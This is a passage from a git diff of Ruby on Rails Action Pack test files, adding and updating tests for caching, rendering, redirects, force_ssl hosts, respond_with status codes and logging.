a/actionpack/test/activerecord/controller_runtime_test.rb +++ b/actionpack/test/activerecord/controller_runtime_test.rb @@ -15,6 +15,17 @@ class ControllerRuntimeLogSubscriberTest < ActionController::TestCase def zero render :inline => "Zero DB runtime" end + + def redirect + Project.all + redirect_to :action => 'show' + end + + def db_after_render + render :inline => "Hello world" + Project.all + ActiveRecord::LogSubscriber.runtime += 100 + end end include ActiveSupport::LogSubscriber::TestHelper @@ -52,4 +63,19 @@ class ControllerRuntimeLogSubscriberTest < ActionController::TestCase assert_equal 2, @logger.logged(:info).size assert_match(/\(Views: [\d.]+ms \| ActiveRecord: 0.0ms\)/, @logger.logged(:info)[1]) end + + def test_log_with_active_record_when_redirecting + get :redirect + wait + assert_equal 3, @logger.logged(:info).size + assert_match(/\(ActiveRecord: [\d.]+ms\)/, @logger.logged(:info)[2]) + end + + def test_include_time_query_time_after_rendering + get :db_after_render + wait + + assert_equal 2, @logger.logged(:info).size + assert_match(/\(Views: [\d.]+ms \| ActiveRecord: ([1-9][\d.]+)ms\)/, @logger.logged(:info)[1]) + end end diff --git a/actionpack/test/activerecord/polymorphic_routes_test.rb b/actionpack/test/activerecord/polymorphic_routes_test.rb index f9e47d5118..20d11377f6 100644 --- a/actionpack/test/activerecord/polymorphic_routes_test.rb +++ b/actionpack/test/activerecord/polymorphic_routes_test.rb @@ -87,6 +87,14 @@ class PolymorphicRoutesTest < ActionController::TestCase end end + def test_with_nil + with_test_routes do + assert_raise ArgumentError, "Nil location provided. Can't build URI." do + polymorphic_url(nil) + end + end + end + def test_with_record with_test_routes do @project.save diff --git a/actionpack/test/controller/action_pack_assertions_test.rb b/actionpack/test/controller/action_pack_assertions_test.rb index 7f3d943bba..a714e8bbcc 100644 --- a/actionpack/test/controller/action_pack_assertions_test.rb +++ b/actionpack/test/controller/action_pack_assertions_test.rb @@ -100,9 +100,6 @@ class AssertResponseWithUnexpectedErrorController < ActionController::Base end end -class UserController < ActionController::Base -end - module Admin class InnerModuleController < ActionController::Base def index diff --git a/actionpack/test/controller/assert_select_test.rb b/actionpack/test/controller/assert_select_test.rb index 878484eb57..5eef8a32d7 100644 --- a/actionpack/test/controller/assert_select_test.rb +++ b/actionpack/test/controller/assert_select_test.rb @@ -20,6 +20,15 @@ class AssertSelectTest < ActionController::TestCase end end + class AssertMultipartSelectMailer < ActionMailer::Base + def test(options) + mail :subject => "Test e-mail", :from => "test@test.host", :to => "test <test@test.host>" do |format| + format.text { render :text => options[:text] } + format.html { render :text => options[:html] } + end + end + end + class AssertSelectController < ActionController::Base def response_with=(content) @content = content @@ -313,6 +322,16 @@ EOF end end + def test_assert_select_email_multipart + AssertMultipartSelectMailer.test(:html => "<div><p>foo</p><p>bar</p></div>", :text => 'foo bar').deliver + assert_select_email do + assert_select "div:root" do + assert_select "p:first-child", "foo" + assert_select "p:last-child", "bar" + end + end + end + protected def render_html(html) @controller.response_with = html diff --git a/actionpack/test/controller/caching_test.rb b/actionpack/test/controller/caching_test.rb index fada0c7748..2364bbf3a3 100644 --- a/actionpack/test/controller/caching_test.rb +++ b/actionpack/test/controller/caching_test.rb @@ -127,7 +127,7 @@ class PageCachingTest < ActionController::TestCase assert_equal 'I am xml', @response.body end - def test_should_cache_with_trailing_slash_on_url + def test_cached_page_should_not_have_trailing_slash_even_if_url_has_trailing_slash @controller.class.cache_page 'cached content', '/page_caching_test/trailing_slash/' assert File.exist?("#{FILE_STORE_PATH}/page_caching_test/trailing_slash.html") end @@ -141,7 +141,7 @@ class PageCachingTest < ActionController::TestCase [:ok, :no_content, :found, :not_found].each do |status| [:get, :post, :put, :delete].each do |method| - unless method == :get and status == :ok + unless method == :get && status == :ok define_method "test_shouldnt_cache_#{method}_with_#{status}_status" do send(method, status) assert_response status @@ -187,14 +187,18 @@ class ActionCachingTestController < CachingController rescue_from(ActiveRecord::RecordNotFound) { head :not_found } end + # Eliminate uninitialized ivar warning + before_filter { @title = nil } + caches_action :index, :redirected, :forbidden, :if => Proc.new { |c| !c.request.format.json? }, :expires_in => 1.hour caches_action :show, :cache_path => 'http://test.host/custom/show' caches_action :edit, :cache_path => Proc.new { |c| c.params[:id] ? "http://test.host/#{c.params[:id]};edit" : "http://test.host/edit" } caches_action :with_layout + caches_action :with_format_and_http_param, :cache_path => Proc.new { |c| { :key => 'value' } } caches_action :layout_false, :layout => false caches_action :record_not_found, :four_oh_four, :simple_runtime_error - layout 'talk_from_action.erb' + layout 'talk_from_action' def index @cache_this = MockTime.now.to_f.to_s @@ -216,6 +220,11 @@ class ActionCachingTestController < CachingController render :text => @cache_this, :layout => true end + def with_format_and_http_param + @cache_this = MockTime.now.to_f.to_s + render :text => @cache_this + end + def record_not_found raise ActiveRecord::RecordNotFound, "oops!" end @@ -356,6 +365,13 @@ class ActionCacheTest < ActionController::TestCase assert !fragment_exist?('hostname.com/action_caching_test') end + def test_action_cache_with_format_and_http_param + get :with_format_and_http_param, :format => 'json' + assert_response :success + assert !fragment_exist?('hostname.com/action_caching_test/with_format_and_http_param.json?key=value.json') + assert fragment_exist?('hostname.com/action_caching_test/with_format_and_http_param.json?key=value') + end + def test_action_cache_with_store_options MockTime.expects(:now).returns(12345).once @controller.expects(:read_fragment).with('hostname.com/action_caching_test', :expires_in => 1.hour).once @@ -742,6 +758,7 @@ class FunctionalFragmentCachingTest < ActionController::TestCase expected_body = <<-CACHED Hello This bit's fragment cached +Ciao CACHED assert_equal expected_body, @response.body @@ -783,3 +800,51 @@ CACHED assert_equal " <p>Builder</p>\n", @store.read('views/test.host/functional_caching/formatted_fragment_cached') end end + +class CacheHelperOutputBufferTest < ActionController::TestCase + + class MockController + def read_fragment(name, options) + return false + end + + def write_fragment(name, fragment, options) + fragment + end + end + + def setup + super + end + + def test_output_buffer + output_buffer = ActionView::OutputBuffer.new + controller = MockController.new + cache_helper = Object.new + cache_helper.extend(ActionView::Helpers::CacheHelper) + cache_helper.expects(:controller).returns(controller).at_least(0) + cache_helper.expects(:output_buffer).returns(output_buffer).at_least(0) + # if the output_buffer is changed, the new one should be html_safe and of the same type + cache_helper.expects(:output_buffer=).with(responds_with(:html_safe?, true)).with(instance_of(output_buffer.class)).at_least(0) + + assert_nothing_raised do + cache_helper.send :fragment_for, 'Test fragment name', 'Test fragment', &Proc.new{ nil } + end + end + + def test_safe_buffer + output_buffer = ActiveSupport::SafeBuffer.new + controller = MockController.new + cache_helper = Object.new + cache_helper.extend(ActionView::Helpers::CacheHelper) + cache_helper.expects(:controller).returns(controller).at_least(0) + cache_helper.expects(:output_buffer).returns(output_buffer).at_least(0) + # if the output_buffer is changed, the new one should be html_safe and of the same type + cache_helper.expects(:output_buffer=).with(responds_with(:html_safe?, true)).with(instance_of(output_buffer.class)).at_least(0) + + assert_nothing_raised do + cache_helper.send :fragment_for, 'Test fragment name', 'Test fragment', &Proc.new{ nil } + end + end + +end diff --git a/actionpack/test/controller/content_type_test.rb b/actionpack/test/controller/content_type_test.rb index b12c798302..d51882066d 100644 --- a/actionpack/test/controller/content_type_test.rb +++ b/actionpack/test/controller/content_type_test.rb @@ -74,6 +74,7 @@ class ContentTypeTest < ActionController::TestCase get :render_defaults assert_equal "utf-16", @response.charset assert_equal Mime::HTML, @response.content_type + ensure OldContentTypeController.default_charset = "utf-8" end diff --git a/actionpack/test/controller/default_url_options_with_filter_test.rb b/actionpack/test/controller/default_url_options_with_filter_test.rb new file mode 100644 index 0000000000..3bbb981040 --- /dev/null +++ b/actionpack/test/controller/default_url_options_with_filter_test.rb @@ -0,0 +1,29 @@ +require 'abstract_unit' + + +class ControllerWithBeforeFilterAndDefaultUrlOptions < ActionController::Base + + before_filter { I18n.locale = params[:locale] } + after_filter { I18n.locale = "en" } + + def target + render :text => "final response" + end + + def redirect + redirect_to :action => "target" + end + + def default_url_options + {:locale => "de"} + end +end + +class ControllerWithBeforeFilterAndDefaultUrlOptionsTest < ActionController::TestCase + + # This test has it´s roots in issue #1872 + test "should redirect with correct locale :de" do + get :redirect, :locale => "de" + assert_redirected_to "/controller_with_before_filter_and_default_url_options/target?locale=de" + end +end diff --git a/actionpack/test/controller/deprecation/deprecated_base_methods_test.rb b/actionpack/test/controller/deprecation/deprecated_base_methods_test.rb deleted file mode 100644 index 0c02afea36..0000000000 --- a/actionpack/test/controller/deprecation/deprecated_base_methods_test.rb +++ /dev/null @@ -1,26 +0,0 @@ -require 'abstract_unit' - -class DeprecatedBaseMethodsTest < ActionController::TestCase - class Target < ActionController::Base - def home_url(greeting) - "http://example.com/#{greeting}" - end - - def raises_name_error - this_method_doesnt_exist - end - - def rescue_action(e) raise e end - end - - tests Target - - if defined? Test::Unit::Error - def test_assertion_failed_error_silences_deprecation_warnings - get :raises_name_error - rescue => e - error = Test::Unit::Error.new('testing ur doodz', e) - assert_not_deprecated { error.message } - end - end -end diff --git a/actionpack/test/controller/filters_test.rb b/actionpack/test/controller/filters_test.rb index 9e44e8e088..d5e3da4d88 100644 --- a/actionpack/test/controller/filters_test.rb +++ b/actionpack/test/controller/filters_test.rb @@ -530,6 +530,11 @@ class FilterTest < ActionController::TestCase assert sweeper.before(TestController.new) end + def test_after_method_of_sweeper_should_always_return_nil + sweeper = ActionController::Caching::Sweeper.send(:new) + assert_nil sweeper.after(TestController.new) + end + def test_non_yielding_around_filters_not_returning_false_do_not_raise controller = NonYieldingAroundFilterController.new controller.instance_variable_set "@filter_return_value", true diff --git a/actionpack/test/controller/force_ssl_test.rb b/actionpack/test/controller/force_ssl_test.rb index 3e723e20d9..43b20fdead 100644 --- a/actionpack/test/controller/force_ssl_test.rb +++ b/actionpack/test/controller/force_ssl_test.rb @@ -14,6 +14,10 @@ class ForceSSLControllerLevel < ForceSSLController force_ssl end +class ForceSSLCustomDomain < ForceSSLController + force_ssl :host => "secure.test.host" +end + class ForceSSLOnlyAction < ForceSSLController force_ssl :only => :cheeseburger end @@ -38,6 +42,22 @@ class ForceSSLControllerLevelTest < ActionController::TestCase end end +class ForceSSLCustomDomainTest < ActionController::TestCase + tests ForceSSLCustomDomain + + def test_banana_redirects_to_https_with_custom_host + get :banana + assert_response 301 + assert_equal "https://secure.test.host/force_ssl_custom_domain/banana", redirect_to_url + end + + def test_cheeseburger_redirects_to_https_with_custom_host + get :cheeseburger + assert_response 301 + assert_equal "https://secure.test.host/force_ssl_custom_domain/cheeseburger", redirect_to_url + end +end + class ForceSSLOnlyActionTest < ActionController::TestCase tests ForceSSLOnlyAction @@ -80,4 +100,4 @@ class ForceSSLExcludeDevelopmentTest < ActionController::TestCase get :banana assert_response 200 end -end
\ No newline at end of file +end diff --git a/actionpack/test/controller/helper_test.rb b/actionpack/test/controller/helper_test.rb index 9f0670ffdf..35a87c1aae 100644 --- a/actionpack/test/controller/helper_test.rb +++ b/actionpack/test/controller/helper_test.rb @@ -1,5 +1,4 @@ require 'abstract_unit' -require 'active_support/core_ext/kernel/reporting' ActionController::Base.helpers_path = File.expand_path('../../fixtures/helpers', __FILE__) @@ -77,7 +76,7 @@ class HelperTest < ActiveSupport::TestCase self.test_helper = LocalAbcHelper end - def test_deprecated_helper + def test_helper assert_equal expected_helper_methods, missing_methods assert_nothing_raised { @controller_class.helper TestHelper } assert_equal [], missing_methods diff --git a/actionpack/test/controller/http_basic_authentication_test.rb b/actionpack/test/controller/http_basic_authentication_test.rb index bd3e13e6fa..364e96d4f6 100644 --- a/actionpack/test/controller/http_basic_authentication_test.rb +++ b/actionpack/test/controller/http_basic_authentication_test.rb @@ -85,6 +85,14 @@ class HttpBasicAuthenticationTest < ActionController::TestCase end end + def test_encode_credentials_has_no_newline + username = 'laskjdfhalksdjfhalkjdsfhalksdjfhklsdjhalksdjfhalksdjfhlakdsjfh' + password = 'kjfhueyt9485osdfasdkljfh4lkjhakldjfhalkdsjf' + result = ActionController::HttpAuthentication::Basic.encode_credentials( + username, password) + assert_no_match(/\n/, result) + end + test "authentication request without credential" do get :display diff --git a/actionpack/test/controller/integration_test.rb b/actionpack/test/controller/integration_test.rb index 01dc2f2091..2ad95f5c29 100644 --- a/actionpack/test/controller/integration_test.rb +++ b/actionpack/test/controller/integration_test.rb @@ -492,6 +492,8 @@ class ApplicationIntegrationTest < ActionDispatch::IntegrationTest end routes.draw do + match '', :to => 'application_integration_test/test#index', :as => :empty_string + match 'foo', :to => 'application_integration_test/test#index', :as => :foo match 'bar', :to => 'application_integration_test/test#index', :as => :bar end @@ -501,11 +503,15 @@ class ApplicationIntegrationTest < ActionDispatch::IntegrationTest end test "includes route helpers" do + assert_equal '/', empty_string_path assert_equal '/foo', foo_path assert_equal '/bar', bar_path end test "route helpers after controller access" do + get '/' + assert_equal '/', empty_string_path + get '/foo' assert_equal '/foo', foo_path @@ -522,11 +528,10 @@ class ApplicationIntegrationTest < ActionDispatch::IntegrationTest assert_raise(NameError) { missing_path } end - test "process reuse the env we pass as argument" do + test "process do not modify the env passed as argument" do env = { :SERVER_NAME => 'server', 'action_dispatch.custom' => 'custom' } + old_env = env.dup get '/foo', nil, env - assert_equal :get, env[:method] - assert_equal 'server', env[:SERVER_NAME] - assert_equal 'custom', env['action_dispatch.custom'] + assert_equal old_env, env end end diff --git a/actionpack/test/controller/layout_test.rb b/actionpack/test/controller/layout_test.rb index cafe2b9320..25299eb8b8 100644 --- a/actionpack/test/controller/layout_test.rb +++ b/actionpack/test/controller/layout_test.rb @@ -79,7 +79,7 @@ class DefaultLayoutController < LayoutTest end class AbsolutePathLayoutController < LayoutTest - layout File.expand_path(File.expand_path(__FILE__) + '/../../fixtures/layout_tests/layouts/layout_test.erb') + layout File.expand_path(File.expand_path(__FILE__) + '/../../fixtures/layout_tests/layouts/layout_test') end class HasOwnLayoutController < LayoutTest @@ -184,7 +184,7 @@ class RenderWithTemplateOptionController < LayoutTest end class SetsNonExistentLayoutFile < LayoutTest - layout "nofile.erb" + layout "nofile" end class LayoutExceptionRaised < ActionController::TestCase diff --git a/actionpack/test/controller/log_subscriber_test.rb b/actionpack/test/controller/log_subscriber_test.rb index 80c4fa2ee5..ccdfcb0b2c 100644 --- a/actionpack/test/controller/log_subscriber_test.rb +++ b/actionpack/test/controller/log_subscriber_test.rb @@ -6,6 +6,13 @@ module Another class LogSubscribersController < ActionController::Base wrap_parameters :person, :include => :name, :format => :json + class SpecialException < Exception + end + + rescue_from SpecialException do + head :status => 406 + end + def show render :nothing => true end @@ -39,6 +46,10 @@ module Another raise Exception end + def with_rescued_exception + raise SpecialException + end + end end @@ -195,6 +206,14 @@ class ACLogSubscriberTest < ActionController::TestCase assert_match(/Completed 500/, logs.last) end + def test_process_action_with_rescued_exception_includes_http_status_code + get :with_rescued_exception + wait + + assert_equal 2, logs.size + assert_match(/Completed 406/, logs.last) + end + def logs @logs ||= @logger.logged(:info) end diff --git a/actionpack/test/controller/mime_responds_test.rb b/actionpack/test/controller/mime_responds_test.rb index 4a5e597500..76a8c89e60 100644 --- a/actionpack/test/controller/mime_responds_test.rb +++ b/actionpack/test/controller/mime_responds_test.rb @@ -498,12 +498,18 @@ class RespondToControllerTest < ActionController::TestCase assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body assert_equal "text/html", @response.content_type end + + def test_invalid_format + get :using_defaults, :format => "invalidformat" + assert_equal " ", @response.body + assert_equal "text/html", @response.content_type + end end class RespondWithController < ActionController::Base respond_to :html, :json respond_to :xml, :except => :using_resource_with_block - respond_to :js, :only => [ :using_resource_with_block, :using_resource ] + respond_to :js, :only => [ :using_resource_with_block, :using_resource, 'using_hash_resource' ] def using_resource respond_with(resource) @@ -569,11 +575,6 @@ protected def resource Customer.new("david", request.delete? ? nil : 13) end - - def _render_js(js, options) - self.content_type ||= Mime::JS - self.response_body = js.respond_to?(:to_js) ? js.to_js : js - end end class InheritedRespondWithController < RespondWithController @@ -632,6 +633,20 @@ class RespondWithControllerTest < ActionController::TestCase end end + def test_using_resource_with_js_simply_tries_to_render_the_template + @request.accept = "text/javascript" + get :using_resource + assert_equal "text/javascript", @response.content_type + assert_equal "alert(\"Hi\");", @response.body + end + + def test_using_hash_resource_with_js_raises_an_error_if_template_cant_be_found + @request.accept = "text/javascript" + assert_raise ActionView::MissingTemplate do + get :using_hash_resource + end + end + def test_using_hash_resource @request.accept = "application/xml" get :using_hash_resource @@ -641,7 +656,16 @@ class RespondWithControllerTest < ActionController::TestCase @request.accept = "application/json" get :using_hash_resource assert_equal "application/json", @response.content_type - assert_equal %Q[{"result":{"name":"david","id":13}}], @response.body + assert @response.body.include?("result") + assert @response.body.include?('"name":"david"') + assert @response.body.include?('"id":13') + end + + def test_using_hash_resource_with_post + @request.accept = "application/json" + assert_raise ArgumentError, "Nil location provided. Can't build URI." do + post :using_hash_resource + end end def test_using_resource_with_block @@ -723,6 +747,20 @@ class RespondWithControllerTest < ActionController::TestCase end end + def test_using_resource_for_post_with_json_yields_unprocessable_entity_on_failure + with_test_route_set do + @request.accept = "application/json" + errors = { :name => :invalid } + Customer.any_instance.stubs(:errors).returns(errors) + post :using_resource + assert_equal "application/json", @response.content_type + assert_equal 422, @response.status + errors = {:errors => errors} + assert_equal errors.to_json, @response.body + assert_nil @response.location + end + end + def test_using_resource_for_put_with_html_redirects_on_success with_test_route_set do put :using_resource @@ -758,21 +796,21 @@ class RespondWithControllerTest < ActionController::TestCase end end - def test_using_resource_for_put_with_xml_yields_ok_on_success + def test_using_resource_for_put_with_xml_yields_no_content_on_success @request.accept = "application/xml" put :using_resource assert_equal "application/xml", @response.content_type - assert_equal 200, @response.status + assert_equal 204, @response.status assert_equal " ", @response.body end - def test_using_resource_for_put_with_json_yields_ok_on_success + def test_using_resource_for_put_with_json_yields_no_content_on_success Customer.any_instance.stubs(:to_json).returns('{"name": "David"}') @request.accept = "application/json" put :using_resource assert_equal "application/json", @response.content_type - assert_equal 200, @response.status - assert_equal "{}", @response.body + assert_equal 204, @response.status + assert_equal " ", @response.body end def test_using_resource_for_put_with_xml_yields_unprocessable_entity_on_failure @@ -786,6 +824,18 @@ class RespondWithControllerTest < ActionController::TestCase assert_nil @response.location end + def test_using_resource_for_put_with_json_yields_unprocessable_entity_on_failure + @request.accept = "application/json" + errors = { :name => :invalid } + Customer.any_instance.stubs(:errors).returns(errors) + put :using_resource + assert_equal "application/json", @response.content_type + assert_equal 422, @response.status + errors = {:errors => errors} + assert_equal errors.to_json, @response.body + assert_nil @response.location + end + def test_using_resource_for_delete_with_html_redirects_on_success with_test_route_set do Customer.any_instance.stubs(:destroyed?).returns(true) @@ -796,23 +846,23 @@ class RespondWithControllerTest < ActionController::TestCase end end - def test_using_resource_for_delete_with_xml_yields_ok_on_success + def test_using_resource_for_delete_with_xml_yields_no_content_on_success Customer.any_instance.stubs(:destroyed?).returns(true) @request.accept = "application/xml" delete :using_resource assert_equal "application/xml", @response.content_type - assert_equal 200, @response.status + assert_equal 204, @response.status assert_equal " ", @response.body end - def test_using_resource_for_delete_with_json_yields_ok_on_success + def test_using_resource_for_delete_with_json_yields_no_content_on_success Customer.any_instance.stubs(:to_json).returns('{"name": "David"}') Customer.any_instance.stubs(:destroyed?).returns(true) @request.accept = "application/json" delete :using_resource assert_equal "application/json", @response.content_type - assert_equal 200, @response.status - assert_equal "{}", @response.body + assert_equal 204, @response.status + assert_equal " ", @response.body end def test_using_resource_for_delete_with_html_redirects_on_failure diff --git a/actionpack/test/controller/new_base/base_test.rb b/actionpack/test/controller/new_base/base_test.rb index 8fa5d20372..ed244513a5 100644 --- a/actionpack/test/controller/new_base/base_test.rb +++ b/actionpack/test/controller/new_base/base_test.rb @@ -40,7 +40,7 @@ module Dispatching class ContainedEmptyController < ActionController::Base ; end class ContainedSubEmptyController < ContainedEmptyController ; end class ContainedNonDefaultPathController < ActionController::Base - def self.controller_path; "i_am_extremly_not_default"; end + def self.controller_path; "i_am_extremely_not_default"; end end end @@ -89,7 +89,7 @@ module Dispatching end test "namespaced non-default controller path" do - assert_equal 'i_am_extremly_not_default', Submodule::ContainedNonDefaultPathController.controller_path + assert_equal 'i_am_extremely_not_default', Submodule::ContainedNonDefaultPathController.controller_path assert_equal Submodule::ContainedNonDefaultPathController.controller_path, Submodule::ContainedNonDefaultPathController.new.controller_path end diff --git a/actionpack/test/controller/new_base/render_file_test.rb b/actionpack/test/controller/new_base/render_file_test.rb index 8b2fdf8f96..a961cbf849 100644 --- a/actionpack/test/controller/new_base/render_file_test.rb +++ b/actionpack/test/controller/new_base/render_file_test.rb @@ -10,7 +10,7 @@ module RenderFile def with_instance_variables @secret = 'in the sauce' - render :file => File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar.erb') + render :file => File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar') end def without_file_key @@ -19,7 +19,7 @@ module RenderFile def without_file_key_with_instance_variable @secret = 'in the sauce' - render File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar.erb') + render File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar') end def relative_path @@ -34,16 +34,16 @@ module RenderFile def pathname @secret = 'in the sauce' - render :file => Pathname.new(File.dirname(__FILE__)).join(*%w[.. .. fixtures test dot.directory render_file_with_ivar.erb]) + render :file => Pathname.new(File.dirname(__FILE__)).join(*%w[.. .. fixtures test dot.directory render_file_with_ivar]) end def with_locals - path = File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_locals.erb') + path = File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_locals') render :file => path, :locals => {:secret => 'in the sauce'} end def without_file_key_with_locals - path = FIXTURES.join('test/render_file_with_locals.erb').to_s + path = FIXTURES.join('test/render_file_with_locals').to_s render path, :locals => {:secret => 'in the sauce'} end end diff --git a/actionpack/test/controller/new_base/render_partial_test.rb b/actionpack/test/controller/new_base/render_partial_test.rb index 83b0d039ad..b4a25c49c9 100644 --- a/actionpack/test/controller/new_base/render_partial_test.rb +++ b/actionpack/test/controller/new_base/render_partial_test.rb @@ -7,12 +7,12 @@ module RenderPartial self.view_paths = [ActionView::FixtureResolver.new( "render_partial/basic/_basic.html.erb" => "BasicPartial!", "render_partial/basic/basic.html.erb" => "<%= @test_unchanged = 'goodbye' %><%= render :partial => 'basic' %><%= @test_unchanged %>", - "render_partial/basic/with_json.html.erb" => "<%= render 'with_json.json' %>", - "render_partial/basic/_with_json.json.erb" => "<%= render 'final' %>", + "render_partial/basic/with_json.html.erb" => "<%= render :partial => 'with_json', :formats => [:json] %>", + "render_partial/basic/_with_json.json.erb" => "<%= render :partial => 'final', :formats => [:json] %>", "render_partial/basic/_final.json.erb" => "{ final: json }", - "render_partial/basic/overriden.html.erb" => "<%= @test_unchanged = 'goodbye' %><%= render :partial => 'overriden' %><%= @test_unchanged %>", - "render_partial/basic/_overriden.html.erb" => "ParentPartial!", - "render_partial/child/_overriden.html.erb" => "OverridenPartial!" + "render_partial/basic/overriden.html.erb" => "<%= @test_unchanged = 'goodbye' %><%= render :partial => 'overriden' %><%= @test_unchanged %>", + "render_partial/basic/_overriden.html.erb" => "ParentPartial!", + "render_partial/child/_overriden.html.erb" => "OverridenPartial!" )] def html_with_json_inside_json diff --git a/actionpack/test/controller/new_base/render_streaming_test.rb b/actionpack/test/controller/new_base/render_streaming_test.rb index 48cf0ab9cb..1a17e24914 100644 --- a/actionpack/test/controller/new_base/render_streaming_test.rb +++ b/actionpack/test/controller/new_base/render_streaming_test.rb @@ -10,9 +10,9 @@ module RenderStreaming )] layout "application" - stream :only => [:hello_world, :skip] def hello_world + render :stream => true end def layout_exception diff --git a/actionpack/test/controller/new_base/render_template_test.rb b/actionpack/test/controller/new_base/render_template_test.rb index 584f2d772c..ba804421da 100644 --- a/actionpack/test/controller/new_base/render_template_test.rb +++ b/actionpack/test/controller/new_base/render_template_test.rb @@ -10,8 +10,8 @@ module RenderTemplate "xml_template.xml.builder" => "xml.html do\n xml.p 'Hello'\nend", "with_raw.html.erb" => "Hello <%=raw '<strong>this is raw</strong>' %>", "with_implicit_raw.html.erb" => "Hello <%== '<strong>this is also raw</strong>' %>", - "test/with_json.html.erb" => "<%= render :template => 'test/with_json.json' %>", - "test/with_json.json.erb" => "<%= render :template => 'test/final' %>", + "test/with_json.html.erb" => "<%= render :template => 'test/with_json', :formats => [:json] %>", + "test/with_json.json.erb" => "<%= render :template => 'test/final', :formats => [:json] %>", "test/final.json.erb" => "{ final: json }", "test/with_error.html.erb" => "<%= idontexist %>" )] @@ -117,7 +117,7 @@ module RenderTemplate assert_response "{ final: json }" end - test "rendering a template with error properly exceprts the code" do + test "rendering a template with error properly excerts the code" do get :with_error assert_status 500 assert_match "undefined local variable or method `idontexist'", response.body diff --git a/actionpack/test/controller/redirect_test.rb b/actionpack/test/controller/redirect_test.rb index 92d4a6d98b..79041055bd 100644 --- a/actionpack/test/controller/redirect_test.rb +++ b/actionpack/test/controller/redirect_test.rb @@ -4,6 +4,11 @@ class WorkshopsController < ActionController::Base end class RedirectController < ActionController::Base + # empty method not used anywhere to ensure methods like + # `status` and `location` aren't called on `redirect_to` calls + def status; render :text => 'called status'; end + def location; render :text => 'called location'; end + def simple_redirect redirect_to :action => "hello_world" end diff --git a/actionpack/test/controller/render_test.rb b/actionpack/test/controller/render_test.rb index e62f3155c5..aea603b014 100644 --- a/actionpack/test/controller/render_test.rb +++ b/actionpack/test/controller/render_test.rb @@ -14,6 +14,14 @@ module Fun end end +module Quiz + class QuestionsController < ActionController::Base + def new + render :partial => Quiz::Question.new("Namespaced Partial") + end + end +end + class TestController < ActionController::Base protect_from_forgery @@ -155,14 +163,14 @@ class TestController < ActionController::Base # :ported: def render_file_with_instance_variables @secret = 'in the sauce' - path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar.erb') + path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar') render :file => path end # :ported: def render_file_as_string_with_instance_variables @secret = 'in the sauce' - path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar.erb')) + path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar')) render path end @@ -179,21 +187,21 @@ class TestController < ActionController::Base def render_file_using_pathname @secret = 'in the sauce' - render :file => Pathname.new(File.dirname(__FILE__)).join('..', 'fixtures', 'test', 'dot.directory', 'render_file_with_ivar.erb') + render :file => Pathname.new(File.dirname(__FILE__)).join('..', 'fixtures', 'test', 'dot.directory', 'render_file_with_ivar') end def render_file_from_template @secret = 'in the sauce' - @path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar.erb')) + @path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar')) end def render_file_with_locals - path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals.erb') + path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals') render :file => path, :locals => {:secret => 'in the sauce'} end def render_file_as_string_with_locals - path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals.erb')) + path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals')) render path, :locals => {:secret => 'in the sauce'} end @@ -397,6 +405,14 @@ class TestController < ActionController::Base render :template => "test/hello_world" end + def render_with_explicit_unescaped_template + render :template => "test/h*llo_world" + end + + def render_with_explicit_escaped_template + render :template => "test/hello,world" + end + def render_with_explicit_string_template render "test/hello_world" end @@ -437,17 +453,13 @@ class TestController < ActionController::Base render :action => "potential_conflicts" end - # :deprecated: - # Tests being able to pick a .builder template over a .erb - # For instance, being able to have hello.xml.builder and hello.xml.erb - # and select one via "hello.builder" or "hello.erb" def hello_world_from_rxml_using_action - render :action => "hello_world_from_rxml.builder" + render :action => "hello_world_from_rxml", :handlers => [:builder] end # :deprecated: def hello_world_from_rxml_using_template - render :template => "test/hello_world_from_rxml.builder" + render :template => "test/hello_world_from_rxml", :handlers => [:builder] end def action_talk_to_layout @@ -509,8 +521,8 @@ class TestController < ActionController::Base render :action => "using_layout_around_block", :layout => "layouts/block_with_layout" end - def partial_dot_html - render :partial => 'partial.html.erb' + def partial_formats_html + render :partial => 'partial', :formats => [:html] end def partial @@ -781,7 +793,9 @@ class RenderTest < ActionController::TestCase end def test_render_file - get :hello_world_file + assert_deprecated do + get :hello_world_file + end assert_equal "Hello world!", @response.body end @@ -1023,11 +1037,6 @@ class RenderTest < ActionController::TestCase assert_equal " ", @response.body end - def test_render_to_string_not_deprecated - assert_not_deprecated { get :hello_in_a_string } - assert_equal "How's there? goodbyeHello: davidHello: marygoodbye\n", @response.body - end - def test_render_to_string_doesnt_break_assigns get :render_to_string_with_assigns assert_equal "i'm before the render", assigns(:before) @@ -1054,6 +1063,12 @@ class RenderTest < ActionController::TestCase assert_response :success end + def test_render_with_explicit_unescaped_template + assert_raise(ActionView::MissingTemplate) { get :render_with_explicit_unescaped_template } + get :render_with_explicit_escaped_template + assert_equal "Hello w*rld!", @response.body + end + def test_render_with_explicit_string_template get :render_with_explicit_string_template assert_equal "<html>Hello world!</html>", @response.body @@ -1106,7 +1121,7 @@ class RenderTest < ActionController::TestCase end def test_yield_content_for - assert_not_deprecated { get :yield_content_for } + get :yield_content_for assert_equal "<title>Putting stuff in the title!</title>\nGreat stuff!\n", @response.body end @@ -1216,8 +1231,8 @@ class RenderTest < ActionController::TestCase assert_equal 'partial html', @response.body end - def test_should_render_html_partial_with_dot - get :partial_dot_html + def test_should_render_html_partial_with_formats + get :partial_formats_html assert_equal 'partial html', @response.body end @@ -1256,6 +1271,12 @@ class RenderTest < ActionController::TestCase assert_template('fun/games/_form') end + def test_namespaced_object_partial + @controller = Quiz::QuestionsController.new + get :new + assert_equal "Namespaced Partial", @response.body + end + def test_partial_collection get :partial_collection assert_equal "Hello: davidHello: mary", @response.body diff --git 